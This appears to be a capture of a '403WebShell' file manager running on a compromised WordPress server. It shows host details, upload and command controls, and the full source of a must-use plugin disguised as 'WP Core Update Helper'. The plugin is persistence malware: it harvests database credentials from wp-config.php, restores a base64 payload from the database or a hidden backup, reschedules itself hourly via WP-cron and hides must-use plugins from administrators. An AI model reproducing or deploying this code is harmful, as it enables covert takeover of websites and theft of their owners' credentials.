Uname:Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64

Base Dir : /home/httpd/vhosts/comeonline.ch/httpdocs

User : onlineadmin


403WebShell
403Webshell
Server IP : 80.74.154.100  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64
User : onlineadmin ( 10487)
PHP Version : 8.5.7
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/mu-plugins/wp-cron-helper-8bb85b8d.php
<?php
/* Plugin Name: WP Core Update Helper */
$_p = '/tmp/phptf7uoj5nprd44AWKJ0n';
$_s = '/home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/uploads/class-wp-hook_8bb85b8d.php';
$_opt = '_site_transient_health_242286f2';
$_min = 49172;
$_hook = 'wp_cache_health_242286f2';
if (!function_exists('_wp_cuh_restore')) {
function _wp_cuh_restore($p,$s,$opt,$min){
  $bad = (!file_exists($p) || (@filesize($p) < $min));
  if (!$bad) return;
  if (file_exists($s) && @filesize($s) >= $min) { @copy($s,$p); @chmod($p,0644); return; }
  $_cf = dirname(__DIR__,2).'/wp-config.php';
  if(!file_exists($_cf)) return;
  $_src=@file_get_contents($_cf);
  if(!preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]*?)['\"]/",$_src,$_m1)) return;
  if(!preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]*?)['\"]/",$_src,$_m2)) return;
  if(!preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*?)['\"]/",$_src,$_m3)) return;
  if(!preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]*?)['\"]/",$_src,$_m4)) return;
  $_tp='wp_'; if(preg_match("/table_prefix\s*=\s*['\"]([^'\"]*?)['\"]/",$_src,$_m5)) $_tp=$_m5[1];
  try{$_db=@(new PDO('mysql:host='.$_m4[1].';dbname='.$_m1[1],$_m2[1],$_m3[1]));
  $_q=$_db->query("SELECT option_value FROM `".$_tp."options` WHERE option_name='".$opt."'");
  if($_q&&($_row=$_q->fetch())){@file_put_contents($p,base64_decode($_row[0]));@chmod($p,0644);}
  }catch(\Exception $e){}
}
}
_wp_cuh_restore($_p,$_s,$_opt,$_min);
add_action('init',function() use ($_hook){
  if (function_exists('wp_next_scheduled') && !wp_next_scheduled($_hook)) wp_schedule_event(time(),'hourly',$_hook);
});
add_action($_hook,function() use ($_p,$_s,$_opt,$_min){ _wp_cuh_restore($_p,$_s,$_opt,$_min); });
add_filter('show_advanced_plugins',function($s,$t){return $t==='mustuse'?false:$s;},10,2);

Youez - 2016 - github.com/yon3zu
LinuXploit